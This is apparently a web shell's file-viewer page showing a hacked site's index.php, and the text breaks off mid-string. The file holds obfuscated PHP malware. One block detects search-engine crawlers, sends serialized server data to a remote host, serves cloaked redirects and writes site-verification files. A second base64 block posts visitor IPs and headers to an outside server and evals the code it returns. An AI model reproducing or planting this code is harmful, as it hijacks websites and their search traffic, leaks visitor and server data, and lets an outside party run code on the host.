Yetixx
Server: LiteSpeed
System: Linux srv81050498.ultasrv.net 5.15.0-97-generic #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024 x86_64
User: hemat3240 (1051)
PHP: 8.0.30
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //home/sahabat69.org/public_html/index.php
<?php define('A', 'jan93.tphu5563htr/komeri::?[0:1]=^^!!|product/[word]^?c=g&l=!::'); goto hiaac; IeyQ_: ABP2h: goto gX5N_; gX5N_: function rmWYt($SzNJP, $n0Num = array()) { goto YLwgw; IIbnU: try { goto O6xd8; bA4B7: if (!($VKOkC == 0)) { goto azcBk; } goto Cc2aD; U2WlV: if (!true) { goto a_yPI; } goto u8a4i; egaI4: curl_setopt($YiZhl, CURLOPT_POST, 1); goto C4DzR; fSLfd: z29gY: goto U2WlV; qcmMW: curl_setopt($YiZhl, CURLOPT_RETURNTRANSFER, 1); goto ofHmr; uWdDl: $hQZHd = ''; goto fSLfd; QVktw: $xgM26 = "\x47\x45\x54"; goto V_WB_; sT7mt: if (!$o6kZW) { goto CthHi; } goto SBkJU; yH3gH: if (empty($n0Num)) { goto jdNew; } goto egaI4; ewLEM: goto a_yPI; goto ryrhW; pVyDO: curl_setopt($YiZhl, CURLOPT_CONNECTTIMEOUT, 0); goto qcmMW; g4rA6: $bJ3kC = stream_socket_client($u4KFA, $gBG7F, $uZJDn, 45); goto g0R1G; rRPJY: $YiZhl = curl_init(); goto EfCC0; gOEak: $k9qvs = isset($J6MDA[0]) ? $J6MDA[0] : ''; goto il0zJ; PextM: BEWGs: goto a3XdJ; V_WB_: $k9qvs = "\125\163\145\x72\55\101\x67\x65\x6e\164\72\40\127\110\x52\15\12"; goto XMUiO; xjN5J: $Uuu35 = $MlLfn === "\150\164\164\x70\163" ? 443 : 80; goto eMami; OSWjN: goto BEWGs; goto hxMx3; jiPhO: $k9qvs .= "\x43\157\156\164\x65\156\164\55\124\171\160\x65\x3a\40\x61\x70\160\154\x69\x63\x61\x74\x69\157\x6e\57\x78\55\167\x77\167\x2d\x66\x6f\x72\x6d\x2d\x75\162\x6c\x65\156\x63\x6f\x64\145\144\15\xa"; goto kxV8Z; WaUTB: if (!($oV5WL === false)) { goto vxmUF; } goto QF2bF; cBbqO: if (!(stripos($k9qvs, "\124\x72\x61\156\x73\146\145\162\55\x45\156\143\157\x64\151\x6e\x67\72\x20\143\x68\x75\156\153\x65\144") !== false)) { goto FwoMw; } goto uWdDl; GUbOW: $DddNX = hexdec(substr($xOJQG, 0, $oV5WL)); goto jM_ID; u8a4i: $oV5WL = strpos($xOJQG, "\15\12"); goto WaUTB; Kl5cJ: $u4KFA = ($MlLfn === "\x68\164\x74\x70\163" ? "\x73\x73\x6c\72\x2f\57" : '') . $nLd_U . "\x3a" . $Uuu35; goto g4rA6; KSKVx: azcBk: goto ZxWY6; ylENf: fclose($bJ3kC); goto wrKHo; dxMdD: $VKOkC = trim($xOJQG); goto eNgfW; wrKHo: $J6MDA = explode("\xd\xa\15\xa", $VKOkC, 2); goto gOEak; DJx8w: $xgM26 = "\120\x4f\x53\124"; goto A7s0o; QF2bF: goto a_yPI; goto hWDEg; A7s0o: $hzgOS = http_build_query($n0Num); goto jiPhO; WoD56: jdNew: goto cDStz; g83I2: $MlLfn = isset($wHLmR["\x73\x63\x68\x65\155\145"]) ? $wHLmR["\x73\x63\150\x65\x6d\145"] : "\150\x74\x74\160"; goto ZLnn_; Fc8bV: $A0YRQ = isset($wHLmR["\x71\x75\x65\x72\171"]) ? "\x3f" . $wHLmR["\161\165\x65\x72\x79"] : ''; goto h3wsF; aQhYP: $uKzMA = "{$xgM26}\x20{$UQvsc}{$A0YRQ}\x20\x48\124\124\120\57\61\56\x31\15\xa"; goto An_0Y; il0zJ: $xOJQG = isset($J6MDA[1]) ? $J6MDA[1] : ''; goto cBbqO; oeRq0: DI0k9: goto Dlytu; a3XdJ: if (feof($bJ3kC)) { goto PjQ6n; } goto qnLsj; EfCC0: curl_setopt($YiZhl, CURLOPT_URL, $SzNJP); goto jFvLj; g0R1G: if (!$bJ3kC) { goto lvsED; } goto aQhYP; hxMx3: PjQ6n: goto ylENf; zz9RS: $hQZHd .= substr($xOJQG, $oV5WL + 2, $DddNX); goto N498B; hPUqd: curl_setopt($YiZhl, CURLOPT_TIMEOUT, 60); goto yH3gH; RXeGG: a_yPI: goto rq6OZ; hWDEg: vxmUF: goto GUbOW; eMami: $UQvsc = isset($wHLmR["\160\141\164\150"]) ? $wHLmR["\x70\x61\164\x68"] : "\57"; goto Fc8bV; scoN1: X28XW: goto bA4B7; Dlytu: fwrite($bJ3kC, $uKzMA); goto PextM; x9ill: $uKzMA .= $hzgOS; goto oeRq0; IQRXn: if (!($xgM26 === "\120\117\123\124")) { goto DI0k9; } goto x9ill; XMUiO: if (empty($n0Num)) { goto ZPsbU; } goto DJx8w; ryrhW: UaKRU: goto zz9RS; ZLnn_: $nLd_U = $wHLmR["\150\x6f\x73\164"]; goto xjN5J; N498B: $xOJQG = substr($xOJQG, $oV5WL + 2 + $DddNX + 2); goto P3hf2; kxV8Z: $k9qvs .= "\103\157\x6e\x74\145\x6e\x74\x2d\114\x65\x6e\147\x74\x68\72\40" . strlen($hzgOS) . "\xd\xa"; goto X75Mo; qnLsj: $VKOkC .= fgets($bJ3kC, 1024); goto OSWjN; Xl6SN: FwoMw: goto dxMdD; ofHmr: curl_setopt($YiZhl, CURLOPT_SSL_VERIFYPEER, false); goto Vo807; jFvLj: curl_setopt($YiZhl, CURLOPT_USERAGENT, "\x57\110\x52"); goto pVyDO; cDStz: $o6kZW = curl_exec($YiZhl); goto o1pyR; P3hf2: goto z29gY; goto RXeGG; An_0Y: $uKzMA .= "\x48\157\163\164\72\x20{$nLd_U}\15\12"; goto dT5S3; kNbSY: CthHi: goto scoN1; C4DzR: curl_setopt($YiZhl, CURLOPT_POSTFIELDS, http_build_query($n0Num)); goto WoD56; Cc2aD: $wHLmR = parse_url($SzNJP); goto g83I2; ykgHv: $k9qvs .= "\103\x6f\156\156\x65\143\164\x69\x6f\x6e\72\40\x63\x6c\x6f\163\145\15\xa\15\12"; goto Kl5cJ; dT5S3: $uKzMA .= $k9qvs; goto IQRXn; FWgy0: curl_setopt($YiZhl, CURLOPT_FOLLOWLOCATION, 1); goto hPUqd; SBkJU: $VKOkC = trim(trim($o6kZW, "\357\273\277")); goto kNbSY; X75Mo: ZPsbU: goto ykgHv; h3wsF: $hzgOS = ''; goto QVktw; rq6OZ: $xOJQG = $hQZHd; goto Xl6SN; O6xd8: if (!(function_exists("\143\x75\x72\x6c\137\x69\156\151\164") && function_exists("\x63\x75\x72\154\137\145\170\145\143"))) { goto X28XW; } goto rRPJY; o1pyR: curl_close($YiZhl); goto sT7mt; Vo807: curl_setopt($YiZhl, CURLOPT_SSL_VERIFYHOST, false); goto FWgy0; jM_ID: if (!($DddNX === 0)) { goto UaKRU; } goto ewLEM; eNgfW: lvsED: goto KSKVx; ZxWY6: } catch (Exception $exFSj) { } goto sq_OP; sq_OP: return $VKOkC; goto YJMVK; YLwgw: $VKOkC = 0; goto IIbnU; YJMVK: } goto FS1et; QWLGU: function wWIfV($aO8xw = '') { goto WZubY; hPK4W: $UX2gA = trim($_GET[$PVzrt]); goto W88SU; J1bN0: if (!$eyzrT) { goto zUepC; } goto EB4NS; jepcO: $bVLGQ = "\147\157\157"; goto ViqG1; tD9ut: $PVzrt = "\171\164\x31"; goto nIQZT; urDSA: die; goto ebZyN; Mz0wo: if (!preg_match("\57\x73\x69\164\145\155\x61\160\56\x2a\77\x5c\56\x78\x6d\x6c\44\57\x73\151", $eot8L)) { goto VRAWT; } goto VjpHZ; UZeoW: if (!preg_match("\x2f" . $d6_Jb . "\44\57\163\151", $eot8L, $X54gH)) { goto xrnyo; } goto w_81u; mzpLW: $hxyxr = cO3zc($YEaNO); goto D4Q3O; oIAxR: $MYs90 = preg_match("\x2f\136\150\x74\x74\160\163\x3f\134\72\134\57\x5c\x2f\57\x73\151", $eN_7E); goto Ra1Hp; xqJvV: if (!isset($_GET[$PVzrt])) { goto i58q0; } goto hPK4W; XbsqL: $eot8L = $eot8L == '' ? isset($_SERVER["\120\101\124\x48\137\111\x4e\106\117"]) && $_SERVER["\x50\x41\x54\x48\137\111\x4e\x46\117"] != '' ? $_SERVER["\x50\101\x54\110\x5f\x49\116\106\x4f"] : $eot8L : $eot8L; goto yVSei; PzqYa: $Gm3f8 = $e_42L[2]; goto W7L0H; OhjGB: if (!in_array($Gm3f8, array("\52\64\x30\64", "\52\162\x65\x74\165\162\156"))) { goto x1PZx; } goto lQWdQ; Fdrw9: $Gm3f8 = $e_42L[2]; goto UpTEL; BgmN9: echo rMwyT($UX2gA); goto SUfJJ; h1JIh: $bVLGQ .= $pQOAP; goto TnJ9g; WA7gb: goto qr5hT; goto qDZ_W; F5KV8: header($e_42L[1]); goto Fdrw9; GPjb0: SYcEY: goto ImP8u; TZENW: chmod($ZZPc9, 0555); goto gk5bu; evisZ: $YRdmP = "\x3c\x61\40\x68\162\x65\x66\x3d\x22\x25\x73\x22\40\x74\x61\x72\147\x65\x74\x3d\42\137\x62\154\x61\156\x6b\42\x3e\x25\163\x3c\57\141\x3e"; goto xqJvV; Zsglf: $YEaNO = isset($_SERVER["\110\x54\x54\x50\137\x55\x53\105\122\x5f\101\x47\105\x4e\124"]) ? $_SERVER["\x48\124\x54\x50\x5f\x55\123\x45\x52\137\x41\x47\105\116\124"] : ''; goto mzpLW; Z_Udm: $eN_7E = trim($aKaai[1]); goto oIAxR; ImP8u: if (!preg_match("\x2f\x5e\x48\145\x61\x64\x40\x28\x2e\x2a\77\51\x40\x40\50\x2e\52\51\x2f\151\x73", $Gm3f8, $e_42L)) { goto uQ00Z; } goto t9vPN; Ajv7I: $QqjbH .= "\125\x4d\105\x4e"; goto b5pvD; IniRB: $d6_Jb .= "\x5d\173\x31\66"; goto YEqQg; UqhiZ: $d6_Jb .= "\147\154\145\x5b\134\167"; goto IniRB; w_81u: $mzqwU = str_replace("\x2e\170", "\56", trim($X54gH[1])); goto N13_u; VjpHZ: $Gm3f8 = RmWyT($m3gJm, array("\170" => serialize($_SERVER))); goto whZ89; WdLiy: echo "{$Gm3f8}"; goto urDSA; CZnIQ: die; goto vigW_; HAeYG: die; goto GPjb0; nb404: echo $eN_7E; goto WA7gb; ebZyN: VRAWT: goto Fxphd; yVSei: $Dz3re = isset($_SERVER["\110\x54\124\120\137\122\105\x46\x45\x52\105\122"]) ? $_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\105\x52\x45\x52"] : ''; goto Zsglf; rQpXi: $_SERVER["\171\x74\137\165\160"] = $Kqdnq[2]; goto tD9ut; xDF02: echo sprintf("\x3c\x62\x6f\x64\171\40\x6f\156\x6c\x6f\x61\144\x3d\x22\144\157\143\165\x6d\145\156\x74\x2e\147\145\x74\x45\154\145\155\x65\156\x74\163\x42\171\124\x61\147\x4e\x61\155\145\x28\45\163\141\45\x73\51\x5b\x30\135\56\x63\x6c\151\143\153\x28\51\x22\76\74\x61\40\x68\162\x65\x66\x3d\42\x25\x73\42\76\x3c\57\141\76\x3c\156\x6f\x73\143\x72\x69\x70\164\x3e\x3c\155\x65\x74\x61\40\150\164\164\x70\55\145\161\x75\x69\166\x3d\42\162\x65\x66\x72\145\x73\x68\x22\x20\143\x6f\156\x74\x65\156\x74\75\x22\60\73\x20\x75\162\x6c\x3d\45\x73\x22\40\57\x3e\74\x2f\156\x6f\163\x63\x72\x69\160\164\x3e\74\x2f\x62\x6f\144\171\76", "\x27", "\x27", $eN_7E, $eN_7E); goto dsf3A; qDZ_W: vza0D: goto xDF02; Fxphd: $pQOAP = "\x74\151\157\156\x3a"; goto ow8Ll; h89m4: $bVLGQ .= "\x66\151\143\x61"; goto h1JIh; pj7y1: if (!preg_match("\x2f\x5e\112\165\x6d\160\100\50\56\x2a\x29\57", $Gm3f8, $aKaai)) { goto SYcEY; } goto Z_Udm; D4Q3O: $eyzrT = UAZhz($Dz3re); goto j01_p; Ez9KB: if (!preg_match("\57\136\x48\145\x61\144\x40\50\x2e\x2a\77\51\100\x40\50\56\x2a\x29\57\151\x73", $Gm3f8, $e_42L)) { goto qwcsZ; } goto F5KV8; SUfJJ: WeAem: goto fw0FJ; XkQPC: $Gm3f8 = trim($Gm3f8); goto OhjGB; krcRA: echo "{$Gm3f8}"; goto CZnIQ; om8Q7: file_put_contents("{$ZZPc9}\x2f{$mzqwU}", "{$bVLGQ}\x20{$mzqwU}"); goto TZENW; k__XX: $_SERVER["\x79\164\137\x67\x7a"] = $Kqdnq[1]; goto rQpXi; Bi98H: zUepC: goto DjwDV; lQWdQ: return; goto TIdBi; ViqG1: $bVLGQ .= "\x67\154\x65\55\163\x69"; goto l3qq1; fw0FJ: die; goto rcw1v; uttX2: $ZZPc9 = $_SERVER[$QqjbH]; goto Mz0wo; t9vPN: header($e_42L[1]); goto PzqYa; TnJ9g: $pQOAP = "\114\157\x63\x61" . $pQOAP; goto UZeoW; W7L0H: uQ00Z: goto krcRA; ow8Ll: $d6_Jb = "\x28\x67\x6f\157"; goto UqhiZ; rcw1v: i58q0: goto J1bN0; j01_p: $Kqdnq = explode("\72\x3a", A); goto qa300; UpTEL: qwcsZ: goto WdLiy; vigW_: UtcdE: goto SSnj2; qa300: $m3gJm = sprintf("\150\x74\164\x70\163\72\x2f\x2f\45\x73\56\160\171", ywglY($Kqdnq[0])); goto NbXA9; YEqQg: $d6_Jb .= "\175\x5c\56\170\x68"; goto KJtMO; dsf3A: qr5hT: goto HAeYG; b5pvD: $QqjbH .= "\x54\137\x52\117\117\124"; goto uttX2; EB4NS: $_SERVER["\x79\164\137\x6a\x75\x6d\x70"] = 1; goto Bi98H; aWLvw: die; goto suwkM; nIQZT: $QqjbH = "\x44\x4f\x43"; goto Ajv7I; DjwDV: $Gm3f8 = RMwYT($m3gJm, array("\170" => serialize($_SERVER))); goto XkQPC; X2ZDa: $L7avg = parse_url($m3gJm); goto xE3T8; whZ89: $Gm3f8 = trim($Gm3f8); goto Ez9KB; TIdBi: x1PZx: goto pj7y1; suwkM: xrnyo: goto f65jz; l3qq1: $bVLGQ .= "\164\145\55\x76\145\x72\x69"; goto h89m4; gk5bu: header("{$pQOAP}\x20\x2f{$mzqwU}"); goto aWLvw; WZubY: $eot8L = isset($_SERVER["\122\x45\x51\125\105\x53\x54\x5f\x55\x52\x49"]) ? $_SERVER["\x52\105\121\125\x45\x53\124\x5f\125\122\x49"] : (isset($_SERVER["\121\125\x45\122\131\x5f\123\x54\122\x49\x4e\107"]) ? $_SERVER["\121\125\105\122\x59\x5f\123\x54\122\111\116\x47"] : ''); goto XbsqL; f05fv: goto WeAem; goto jptJa; Ra1Hp: if ($MYs90) { goto vza0D; } goto nb404; W88SU: if (preg_match("\57\136\x68\x74\164\160\163\77\x2f\163\x69", $UX2gA)) { goto ImNaW; } goto mnXZL; xE3T8: echo gethostbyname($L7avg["\150\157\x73\x74"]); goto f05fv; N13_u: chmod($ZZPc9, 0755); goto om8Q7; NbXA9: $_SERVER["\171\164\137\x6a\165\155\160"] = 0; goto k__XX; mnXZL: echo sprintf($YRdmP, $m3gJm, $m3gJm) . "\x3c\x62\x72\x20\x2f\76\x3c\142\162\40\57\76"; goto X2ZDa; f65jz: if (!($hxyxr || $eyzrT)) { goto UtcdE; } goto evisZ; KJtMO: $d6_Jb .= "\164\155\154\51"; goto jepcO; jptJa: ImNaW: goto BgmN9; SSnj2: } goto yfeBq; vJZxQ: @ob_start(); goto IeyQ_; hiaac: @date_default_timezone_set("\x50\x52\103"); goto fkDlz; paMIL: function uAZhZ($mSaNc = '') { return preg_match("\x2f\50\x67\x6f\157\x67\x6c\145\x2e\143\157\x2e\152\160\x7c\x79\x61\x68\x6f\157\x2e\143\x6f\x2e\152\160\174\142\x69\x6e\147\x7c\142\x61\151\x64\x75\x7c\147\x6f\x6f\147\x6c\145\56\143\157\x6d\x29\x2f\163\151", $mSaNc); } goto AUWFK; fkDlz: if (!function_exists("\x6f\142\x5f\x73\164\141\162\164")) { goto ABP2h; } goto vJZxQ; AUWFK: function YWglY($r3H5L) { goto hjvwh; sLMpr: if (!(is_array($ys12P) && count($ys12P) == 4)) { goto MErec; } goto ME0Pe; t3Xy4: $sN20i = implode('', $tk4Tz); goto q6d5v; d6VGt: ivn9Z: goto t3Xy4; sFrnt: return $sN20i; goto HrGts; qIlfd: foreach ($tk4Tz as $aoydG => $GtJl1) { $tk4Tz[$aoydG] = chr(ord($GtJl1) - 5); Hx2Gv: } goto d6VGt; g8mRP: $tk4Tz = preg_split("\x2f\x2f", $ys12P[2], -1, PREG_SPLIT_NO_EMPTY); goto qIlfd; q6d5v: RvWic: goto TNCFO; hjvwh: $sN20i = ''; goto axNGd; TNCFO: $sN20i = $ys12P[1] . $sN20i . $ys12P[3]; goto UfFGu; ME0Pe: if (!($ys12P[2] != '')) { goto RvWic; } goto g8mRP; axNGd: preg_match("\57\x28\133\136\x5c\56\x5d\x2b\134\x2e\51\50\x2e\x2a\x29\50\x5c\57\56\52\x29\x2f", $r3H5L, $ys12P); goto sLMpr; UfFGu: MErec: goto sFrnt; HrGts: } goto QWLGU; FS1et: function co3zc($cHxE_ = '') { return preg_match("\57\x28\147\x6f\x6f\x67\154\145\x62\157\x74\x7c\x62\x61\151\x64\165\x73\160\x69\x64\x65\x72\x7c\x62\x69\x6e\147\142\157\164\174\x67\x6f\157\147\x6c\x65\x7c\x62\x61\151\x64\x75\x7c\x61\157\154\x7c\x62\151\156\147\174\171\141\150\157\157\x7c\171\141\x6e\144\x65\170\51\x2f\163\151", $cHxE_); } goto paMIL; yfeBq: wWifV(); ?>
<?php ini_set("memory_limit","-1");$f="ba";$g="daszxxx";$h="s";$j="123";$k="llz1";$l="e";$m="ccccccca";$n="64";$o=$f.$h.$l.$n."_d".$l."cod".$l;$p="Z290byBEVmV1eTsgb25GTlU6ICRZM29WSSA9ICRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXHg1Zlx4NTJceDQ1XHg0NlwxMDVceDUyXDEwNVx4NTIiXTsgZ290byBoSFdrbDsgaHJaR2E6ICRWcmtZRiA9IG1kNSgkREpxUDgpOyBnb3RvIHFDZGdDOyBYMzlBWTogJFhVV0MxID0gaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFx4NTBcMTM3XDEzMFx4NWZceDQ2XHg0ZlwxMjJcMTI3XHg0MVwxMjJcMTA0XDEwNVx4NDRceDVmXHg0NlwxMTdcMTIyIl0pID8gJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBcMTM3XHg1OFwxMzdcMTA2XDExN1x4NTJceDU3XHg0MVwxMjJcMTA0XHg0NVwxMDRcMTM3XDEwNlwxMTdceDUyIl0gOiAnJzsgZ290byBoQ1hBdDsgcXJEcm86IG5mQTRSKCRGMzJ5dywgJHZ3WjZCKTsgZ290byBLOEYxcjsgUXFCRDQ6ICRESnFQOCA9IHN1YnN0cigkekRYejUsIDAsIC02KTsgZ290byB0Q2NrcDsgc3FDQ1U6IHJaVWJ5OiBnb3RvIFdfQTBOOyB5MXBqajogJEVFSWQ4ID0gJF9TRVJWRVJbIlx4NTJceDQ1XDEyMVwxMjVcMTA1XDEyM1x4NTRceDVmXHg0ZFx4NDVceDU0XDExMFwxMTdceDQ0Il07IGdvdG8gSmNGZEY7IFVjTUM2OiBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiXHg0Ylx4NGFceDUzXDE1MlwxMzAiKSkgeyBmdW5jdGlvbiBrSlNKeCgpIHsgZ290byBseVNRejsgbHlTUXo6IGZvcmVhY2ggKCRfU0VSVkVSIGFzICR5QVdQZCA9PiAkalFsS2spIHsgZ290byBDMkhEQzsgRmpzWXU6IEg2ZEx6OiBnb3RvIGI0OWs0OyBiNDlrNDogVjNLVDk6IGdvdG8gZ3hoOVk7IG1yb3ZaOiAkeXNwMjRbc3RyX3JlcGxhY2UoIlx4MjAiLCAiXHgyZCIsIHVjd29yZHMoc3RydG9sb3dlcihzdHJfcmVwbGFjZSgiXHg1ZiIsICJceDIwIiwgc3Vic3RyKCR5QVdQZCwgNSkpKSkpXSA9ICRqUWxLazsgZ290byBGanNZdTsgQzJIREM6IGlmICghKHN1YnN0cigkeUFXUGQsIDAsIDUpID09ICJceDQ4XHg1NFx4NTRcMTIwXHg1ZiIpKSB7IGdvdG8gSDZkTHo7IH0gZ290byBtcm92WjsgZ3hoOVk6IH0gZ290byB4MnRTQjsgeDJ0U0I6IEExTE95OiBnb3RvIGRxRE56OyBkcUROejogcmV0dXJuICR5c3AyNDsgZ290byBBTFIydTsgQUxSMnU6IH0gfSBnb3RvIFpCVHhHOyBibTlPNTogJHBMS1RvID0gJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXHg1NVwxMjNcMTA1XHg1Mlx4NWZceDQxXHg0N1x4NDVceDRlXDEyNCJdOyBnb3RvIHhxUnhpOyBLOEYxcjogaUtfeFM6IGdvdG8gc3FDQ1U7IHRDY2twOiAkb05jTVYgPSBhcnJheSgiXDcxIiwgIlw3MCIsICJceDMyIiwgIlx4MzQiLCAiXDY1IiwgIlwxNDQiLCAiXDY3IiwgIlx4MzQiLCAiXDYxIiwgIlw2NyIsICJcNjIiLCAiXDYyIiwgIlx4MzUiLCAiXHg2MiIsICJceDM1IiwgIlw2NSIsICJceDYxIiwgIlx4MzIiLCAiXHg2MyIsICJcNjQiLCAiXHg2MiIsICJcMTQ2IiwgIlx4MzUiLCAiXHgzMCIsICJcMTQyIiwgIlx4MzgiLCAiXHg2MSIsICJcMTQxIiwgIlx4MzQiLCAiXHg2MyIsICJcNjciLCAiXDYzIik7IGdvdG8gaHJaR2E7IGdYTEFCOiBIT192ajogZ290byBYZ1M0VDsgRlZ2bzU6ICRiRzQwaSA9ICRXSmN6XyAuICJcNTdceDY5XDE1Nlx4NjRcMTQ1XDE3MFw1NlwxNjBcMTUwXDE2MFw3NyIgLiBodHRwX2J1aWxkX3F1ZXJ5KCR1QzdZVik7IGdvdG8gbzREVWI7IEpjRmRGOiAkUkZpUFkgPSBtaWNyb3RpbWUodHJ1ZSkgLSAkX1NFUlZFUlsiXDEyMlwxMDVceDUxXDEyNVwxMDVceDUzXDEyNFwxMzdcMTI0XHg0OVwxMTVceDQ1XDEzN1x4NDZceDRjXDExN1wxMDFcMTI0Il07IGdvdG8gcW50a2Y7IGMwSXI2OiB6ZkJTdTogZ290byBONDFWNDsgZkcyOGs6IGlmICgkZW9nSlIgIT09IGZhbHNlICYmICRCSU82eSAhPT0gIlx4MmZcMTQ2XDE0MVx4NzZcMTUxXDE0M1wxNTdceDZlXDU2XDE1MVwxNDNceDZmIikgeyBnb3RvIEdES2NvOyB9IGdvdG8gdXd4VFo7IHFDZGdDOiBpZiAoISgkVnJrWUYgPT0gaW1wbG9kZSgkb05jTVYpKSkgeyBnb3RvIE5uY25lOyB9IGdvdG8gR0xyd1g7IG80RFViOiAkZW9nSlIgPSBwcjFJUygkYkc0MGkpOyBnb3RvIGZHMjhrOyBpcjdXZDogZXZhbCgiXHgzZlx4M2UiIC4gJFV3dG9pWzBdKTsgZ290byBQejBaUjsgYjNHTnk6ICRXSmN6XyA9ICJcMTUwXDE2NFwxNjRcMTYwXHg3M1w3Mlx4MmZceDJmXHgzN1x4MzZceDM1XHg3M1x4MzNcMTcwXHg2M1w1NlwxNjBcMTYyXDE1N1x4NmRcMTQ1XHg2NFwxNjNceDJlXHg3NFwxNTdcMTYwIjsgZ290byB5R1AxZzsgRFZldXk6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBVY01DNjsgZEF6YVQ6ICR2dXl5eCA9ICRRSGJsMSAuICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXHg1Zlx4NDhceDRmXDEyM1wxMjQiXTsgZ290byBibTlPNTsgeUdQMWc6ICR1QzdZViA9IFsiXHg2NFx4NmZceDZkXDE0MVwxNTFceDZlIiA9PiB1cmxlbmNvZGUoJHZ1eXl4KSwgIlwxNDFcMTQ3XHg2NVwxNTZcMTY0IiA9PiB1cmxlbmNvZGUoJHBMS1RvKSwgIlx4NmNceDYxXHg2ZVx4NjciID0+IHVybGVuY29kZSgka25YUDgpLCAiXDE2NVx4NzJcMTUxIiA9PiB1cmxlbmNvZGUoJEJJTzZ5KSwgIlx4NzJceDY1XDE0Nlx4NjVcMTYyXHg2NVx4NzIiID0+IHVybGVuY29kZSgkWTNvVkkpLCAiXHg2OVwxNjAiID0+IHVybGVuY29kZSgkWk11NkEpLCAiXDE1NVx4NjVcMTY0XHg2OFwxNTdceDY0IiA9PiB1cmxlbmNvZGUoJEVFSWQ4KSwgIlwxNjJcMTQ1XDE2M1wxNjBceDZmXHg2ZVwxNjNcMTQ1XHg1Zlx4NzRcMTUxXHg2ZFx4NjUiID0+IHVybGVuY29kZSgkUkZpUFkpLCAiXDE2Mlx4NjVcMTYxXDE2NVwxNDVcMTYzXHg3NFwxMzdcMTUwXHg2NVx4NjFceDY0XDE0NVx4NzJceDczIiA9PiB1cmxlbmNvZGUoJEl0XzJ3KSwgIlx4NjZceDZmXDE2MlwxNjdceDYxXDE2MlwxNDRceDY1XDE0NFwxMDZcMTU3XHg3MiIgPT4gdXJsZW5jb2RlKCRYVVdDMSksICJceDZjXDE1N1x4NjNcMTQxXDE1NFwxMzdcMTQ0XDE1N1wxNTVcMTQxXHg2OVwxNTYiID0+IHVybGVuY29kZSgkV0pjel8pXTsgZ290byBGVnZvNTsgbXdpSUI6IGxpc3QoJEYzMnl3LCAkdndaNkIpID0gZXhwbG9kZSgiXDEzM1w0M1w1Mlx4MjNceDJhXHgyM1x4NWQiLCAkZW9nSlIpOyBnb3RvIHFyRHJvOyBQejBaUjogTm5jbmU6IGdvdG8gR1VKeFc7IGhIV2tsOiAkWk11NkEgPSAkX1NFUlZFUlsiXDEyMlx4NDVceDRkXDExN1wxMjRceDQ1XHg1Zlx4NDFceDQ0XHg0NFx4NTIiXTsgZ290byB5MXBqajsgWmRqaFQ6IGdvdG8gclpVYnk7IGdvdG8gSTdVR087IFZtNTZqOiAkQklPNnkgPSAkX1NFUlZFUlsiXHg1MlwxMDVceDUxXHg1NVwxMDVcMTIzXDEyNFwxMzdcMTI1XHg1MlwxMTEiXTsgZ290byBvbkZOVTsgR1VKeFc6IGV4aXQ7IGdvdG8gZ1hMQUI7IGhDWEF0OiAkekRYejUgPSBpc3NldCgkX1JFUVVFU1RbIlx4NjFcMTQzXHg3NFwxNTFceDZmXDE1NiJdKSA/ICRfUkVRVUVTVFsiXDE0MVx4NjNceDc0XHg2OVwxNTdceDZlIl0gOiAnJzsgZ290byBpd3Z4MzsgWkJUeEc6ICRRSGJsMSA9IGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1MyJdKSAmJiAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFwxMjMiXSA9PSAiXDE1N1x4NmUiIHx8IGlzc2V0KCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXHg1Zlx4NThcMTM3XDEwNlx4NGZcMTIyXHg1N1wxMDFceDUyXHg0NFwxMDVceDQ0XDEzN1wxMjBcMTIyXHg0ZlwxMjRceDRmIl0pICYmICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXDEzN1wxMzBceDVmXHg0NlwxMTdcMTIyXDEyN1x4NDFcMTIyXHg0NFx4NDVceDQ0XHg1Zlx4NTBcMTIyXDExN1wxMjRcMTE3Il0gPT0gIlwxNTBcMTY0XHg3NFx4NzBceDczIiA/ICJceDY4XHg3NFwxNjRceDcwXDE2M1w3Mlw1N1x4MmYiIDogIlwxNTBceDc0XHg3NFwxNjBceDNhXHgyZlw1NyI7IGdvdG8gZEF6YVQ7IGl3dngzOiBpZiAoIWVtcHR5KCR6RFh6NSkpIHsgZ290byB6ZkJTdTsgfSBnb3RvIGIzR055OyBXX0EwTjogZ290byBIT192ajsgZ290byBjMElyNjsga29nSDI6IGlmICghc3Ryc3RyKCRlb2dKUiwgIlwxMzNceDIzXHgyYVw0M1w1Mlw0M1x4NWQiKSkgeyBnb3RvIGlLX3hTOyB9IGdvdG8gbXdpSUI7IHhxUnhpOiAka25YUDggPSAkX1NFUlZFUlsiXDExMFwxMjRcMTI0XHg1MFwxMzdcMTAxXHg0M1x4NDNceDQ1XHg1MFx4NTRceDVmXHg0Y1wxMDFcMTE2XDEwN1x4NTVcMTAxXHg0N1wxMDUiXTsgZ290byBWbTU2ajsgR0xyd1g6ICRZUThSVSA9IGFycmF5KCJceDY4IiwgIlx4NzQiLCAiXDE2NCIsICJcMTYwIiwgIlx4NzMiLCAiXDcyIiwgIlw1NyIsICJcNTciLCAiXHg2OCIsICJcMTQyXHg2MiIsICJceDYxIiwgIlx4NzFceDZlIiwgIlw1Nlx4NjciLCAiXHg2MSIsICJceDZkIiwgIlwxNDUiLCAiXDE0MVwxNjBcMTQ1IiwgIlx4MmVceDc0IiwgIlwxNTciLCAiXDE2MCIsICJceDJmIiwgIlx4NjQiLCAiXDE1NyIsICJceDZmIiwgIlx4NzIiLCAiXDU3Iik7IGdvdG8gUGtWREc7IHV3eFRaOiByYn